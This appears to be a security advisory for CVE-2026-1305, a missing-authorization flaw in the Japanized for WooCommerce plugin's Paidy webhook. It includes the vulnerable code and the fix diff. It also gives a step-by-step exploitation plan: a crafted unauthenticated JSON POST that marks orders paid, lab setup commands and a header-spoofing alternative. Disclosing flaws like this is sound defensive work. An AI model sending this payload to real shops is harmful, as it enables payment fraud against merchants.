Japanized for WooCommerce <= 2.8.4 - Missing Authorization to Unauthenticated Paidy Order Manipulation
Description
The Japanized for WooCommerce plugin for WordPress is vulnerable to Improper Authentication in versions up to, and including, 2.8.4. This is due to a flawed permission check in the `paidy_webhook_permission_check` function that unconditionally returns `true` when the webhook signature header is omitted. This makes it possible for unauthenticated attackers to bypass payment verification and fraudulently mark orders as "Processing" or "Completed" without actual payment via a crafted POST request to the Paidy webhook endpoint.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.8.4What Changed in the Fix
Changes introduced in v2.8.5
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1305 (Japanized for WooCommerce) ## 1. Vulnerability Summary The **Japanized for WooCommerce** plugin (versions <= 2.8.4) contains an Improper Authentication vulnerability in its Paidy payment gateway webhook handler. The function `paidy_webhook_permission_che…
Show full research plan
Exploitation Research Plan: CVE-2026-1305 (Japanized for WooCommerce)
1. Vulnerability Summary
The Japanized for WooCommerce plugin (versions <= 2.8.4) contains an Improper Authentication vulnerability in its Paidy payment gateway webhook handler. The function paidy_webhook_permission_check is responsible for authorizing requests to the Paidy REST API endpoint. However, the logic contains a flaw: it only enforces signature verification if the x-paidy-signature header is present. If the header is omitted entirely and no IP whitelist is configured (which is the default state), the function returns true, granting unauthenticated access to order manipulation logic.
This allows an attacker to spoof payment notifications from Paidy and force WooCommerce orders into the "Processing" or "Completed" status without actual payment.
2. Attack Vector Analysis
- Endpoint:
POST /wp-json/paidy/v1/order - Hook:
rest_api_initviaWC_Paidy_Endpoint::paidy_register_routes() - Authentication: None (Unauthenticated)
- Vulnerable Function:
paidy_webhook_permission_checkinincludes/gateways/paidy/class-wc-paidy-endpoint.php - Payload Carry: JSON body in a POST request.
- Preconditions:
- The Paidy payment gateway must be enabled in WooCommerce.
- A target order must exist with the payment method set to
paidy. - The default
paidy_webhook_allowed_ipsfilter must be empty (default).
3. Code Flow
- Entry Point: A POST request is made to
/wp-json/paidy/v1/order. - Permission Check: The REST API calls
paidy_webhook_permission_check($request). - Bypass:
$signature = $request->get_header( 'x-paidy-signature' );returnsnullif the header is missing.if ( empty( $signature ) )block executes.$allowed_ipsis empty by default (apply_filters( 'paidy_webhook_allowed_ips', array() )).- The code skips the IP check and proceeds to
return true;at the end of the function.
- Processing:
paidy_check_webhook($data)is called. - Logic Sink:
$body_data = (array) $data->get_body();$main_data = json_decode( $body_data[0], true );- It fetches the order via
wc_get_order( $main_data['order_ref'] ). - It verifies
$order->get_payment_method() === 'paidy'. - If
$main_data['status'] === 'authorize_success', it calls$order->payment_complete($main_data['payment_id']). - This transitions the order status (typically to
processing).
4. Nonce Acquisition Strategy
No WordPress Nonce is required.
The endpoint is a REST API route designed for external webhooks (Paidy). It uses a custom permission_callback instead of _wpnonce. Since the vulnerability allows bypassing the signature check used for external authentication, no additional tokens or nonces are needed to access the endpoint.
5. Exploitation Strategy
The exploit will be performed using the http_request tool to send a crafted JSON payload.
Step-by-Step Plan:
- Identify/Create Order: Create a WooCommerce order with the status
pendingand payment methodpaidy. - Craft Payload: Prepare a JSON object with the order ID and the success status.
- Send Request: Execute a POST request to the REST API without the
x-paidy-signatureheader. - Verify: Check the order status to ensure it has changed to
processing.
Payload (JSON):
{
"payment_id": "pay_spoofed_9999",
"order_ref": "ORDER_ID_HERE",
"status": "authorize_success"
}
HTTP Request Details:
- Method:
POST - URL:
http://<target>/wp-json/paidy/v1/order - Headers:
Content-Type: application/json
- Body: The JSON payload above.
6. Test Data Setup
To simulate a vulnerable environment, perform the following via WP-CLI:
- Enable Plugin:
wp plugin activate woocommerce-for-japan - Configure Paidy (Minimal):
wp option update woocommerce_paidy_settings '{"enabled":"yes", "testmode":"yes"}' - Create a Product:
PRODUCT_ID=$(wp post create --post_type=product --post_title="Test Product" --post_status=publish --porcelain) wp post term add $PRODUCT_ID product_type simple - Create a "Paidy" Order:
Note: UsingORDER_ID=$(wp wc order create --user=1 --payment_method=paidy --status=pending --porcelain) # Ensure the item is added so the order isn't empty wp wc order_item create $ORDER_ID --name="Test Item" --quantity=1 --total=100wp wc order createwith--payment_method=paidyis critical for passing the plugin's security check.
7. Expected Results
- HTTP Response: The endpoint should return a
200 OKstatus with a JSON response echoing thepayment_idor a success message. - Side Effect: The WooCommerce order associated with
ORDER_IDshould be updated frompendingtoprocessing. - Log: If debug logging is enabled in the plugin, the
paidy-wclog will show "Paidy Webhook received... Exist [payment_id] and [order_ref]".
8. Verification Steps
After sending the HTTP request, verify the order status using WP-CLI:
wp wc order get <ORDER_ID> --field=status
Expected output: processing
Check for the order note added by the plugin:
wp wc order_note list <ORDER_ID>
Expected: A note containing "It succeeded to check the authorization of the order in Paidy Webhook."
9. Alternative Approaches
If the order is already in processing, the plugin code contains a branch for authorize_success when status is processing (truncated in the provided source). The attacker could also try different status values like capture_success (though authorize_success is the most direct path to marking an order as paid).
If IP validation is active, the attacker could attempt to spoof the HTTP_X_FORWARDED_FOR header, as the get_remote_ip() function in WC_Paidy_Endpoint prioritizes it:
if ( ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
$ip = sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_FORWARDED_FOR'] ) );
However, since allowed_ips defaults to an empty array, the bypass is usually unconditional.
Summary
The Paidy payment gateway in Japanized for WooCommerce fails to properly authenticate webhook requests when the 'x-paidy-signature' header is missing. By default, the plugin lacks an IP whitelist, causing the permission check to unconditionally return true and allowing unauthenticated attackers to spoof payment notifications.
Vulnerable Code
// includes/gateways/paidy/class-wc-paidy-endpoint.php:67 public function paidy_webhook_permission_check( $request ) { // Get the signature from the header. $signature = $request->get_header( 'x-paidy-signature' ); // If no signature header, check if this is from allowed IP (optional). if ( empty( $signature ) ) { // Allow filtering of IP whitelist. $allowed_ips = apply_filters( 'paidy_webhook_allowed_ips', array() ); if ( ! empty( $allowed_ips ) ) { $remote_ip = $this->get_remote_ip(); if ( ! in_array( $remote_ip, $allowed_ips, true ) ) { return new WP_Error( 'paidy_unauthorized', __( 'Unauthorized access to Paidy webhook.', 'woocommerce-for-japan' ), array( 'status' => 403 ) ); } } } // Verify the signature if present. if ( ! empty( $signature ) ) { // ... [signature verification logic] ... } return true; }
Security Fix
@@ -78,7 +78,16 @@ array( 'status' => 403 ) ); } + // IP validation passed. + return true; } + + // No signature AND no IP whitelist configured - REJECT. + return new WP_Error( + 'paidy_unauthorized', + __( 'Missing signature header for Paidy webhook.', 'woocommerce-for-japan' ), + array( 'status' => 403 ) + ); } // Verify the signature if present. @@ -103,9 +112,16 @@ array( 'status' => 403 ) ); } + // Signature validation passed. + return true; } - return true; + // Should never reach here, but reject by default. + return new WP_Error( + 'paidy_unauthorized', + __( 'Unauthorized access to Paidy webhook.', 'woocommerce-for-japan' ), + array( 'status' => 403 ) + );
Exploit Outline
The exploit targets the Paidy webhook REST API endpoint at /wp-json/paidy/v1/order. An attacker sends an unauthenticated POST request containing a JSON payload with a valid order_ref (order ID) and the status set to 'authorize_success'. By omitting the 'x-paidy-signature' header entirely, the attacker triggers a logic flaw where the plugin fails to validate the request against a signature or a default-empty IP whitelist, ultimately returning 'true' for the permission check. This results in the order being marked as paid (typically moving it to 'processing' status) without a legitimate payment transaction occurring.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.